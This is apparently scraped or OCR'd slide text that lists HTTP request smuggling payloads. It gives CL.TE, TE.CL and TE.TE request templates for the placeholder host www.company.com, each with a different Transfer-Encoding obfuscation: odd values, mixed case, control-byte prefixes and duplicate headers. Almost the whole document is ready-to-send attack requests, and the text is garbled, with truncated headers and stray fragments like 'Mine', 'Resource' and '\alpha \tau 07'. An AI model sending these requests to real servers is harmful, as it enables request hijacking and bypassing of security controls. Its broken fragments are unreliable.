Host: www.company.com Content-Length: Number Transfer-Encoding: chùnked Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: cow, chunked



POST / HTTP/1.1

Host: www.company.com Content-Length: Number

Transfer-Encoding: cow, chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: cow, chunked But Backend sees Content-Length: Number



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: cow, chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding: cow, chunked
Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\ı

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: chunked, cow

• Blog

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked, cow

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chunked, cowBut Backend sees Content-Length: Number



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked, cow

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding: chunked, cow
Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\ı

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: identity, chunked

• S Blog

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: identity, chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: identity, chunked But Backend sees Content-Length: Number



Mine

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: identity, chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: identity, chunked

Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: cow chunked bar



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: cow chunked ba

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: cow chunked bar But Backend sees Content-Length: Number



Resource |

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: cow chunked bar

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding: cow chunked b

Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:chunked



Blog



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding:chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding:chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding:chunked Transfer-Encoding:nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees Content-Length: Number But Backend sees Transfer-Encoding: chunk



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunk

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chunk But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com Transfer-Encoding: chunk Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: chunk Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees TrAnSFer-EnCODinG: cHuNkeD



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

TrAnSFer-EnCODinG: cHuNkeD

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

TrAnSFer-EnCODinG: cHuNkeD But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

TrAnSFer-EnCODinG: cHuNkeD

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

TrAnsFer-EnCODinG: cHuNkeD TrAnsFer-EnCODinG: notHing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees TRANSFER-ENCODING: CHUNKED

•

Resource

• 4

Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

TRANSFER-ENCODING: CHUNKED

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees TRANSFER-ENCODING: CHUNKED But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

TRANSFER-ENCODING: CHUNKED

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
TRANSFER-ENCODING: CHUNKED
TRANSFER-ENCODING: NOTHING

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees \x01Transfer-Encoding: chunked

Video

POST / HTTP/1.1

\x01Transfer-Encoding: chunked

Host: www.company.com
Content-Length: Number

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees \(\x01Transfer-Encoding: chunked \) But Backend sees \(\content-Length: Number \)



Resource

POST / HTTP/1.1

Host: www.company.com

\x01Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
\x01Transfer-Encoding: chunked
\x01Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees \x07Transfer-Encoding: chunked

Video

POST / HTTP/1.1

\x07Transfer-Encoding: chunked

Host: www.company.com Content-Length: Number

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees \alpha \tau 07Transfer-Encoding: chunked But Backend sees Content-Length: Number



Resource

POST / HTTP/1.1

Host: www.company.com

\x07Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
\x07Transfer-Encoding: chunked
\x07Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees \x04Transfer-Encoding: chunked

Video

POST / HTTP/1.1

\x04Transfer-Encoding: chunked

Host: www.company.com

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees \alpha \alpha 04Transfer-Encoding: chunked But Backend sees Content-Length: Number



Resource

POST / HTTP/1.1

Host: www.company.com

\x04Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
\x04Transfer-Encoding: chunked
\x04Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n

Thank You

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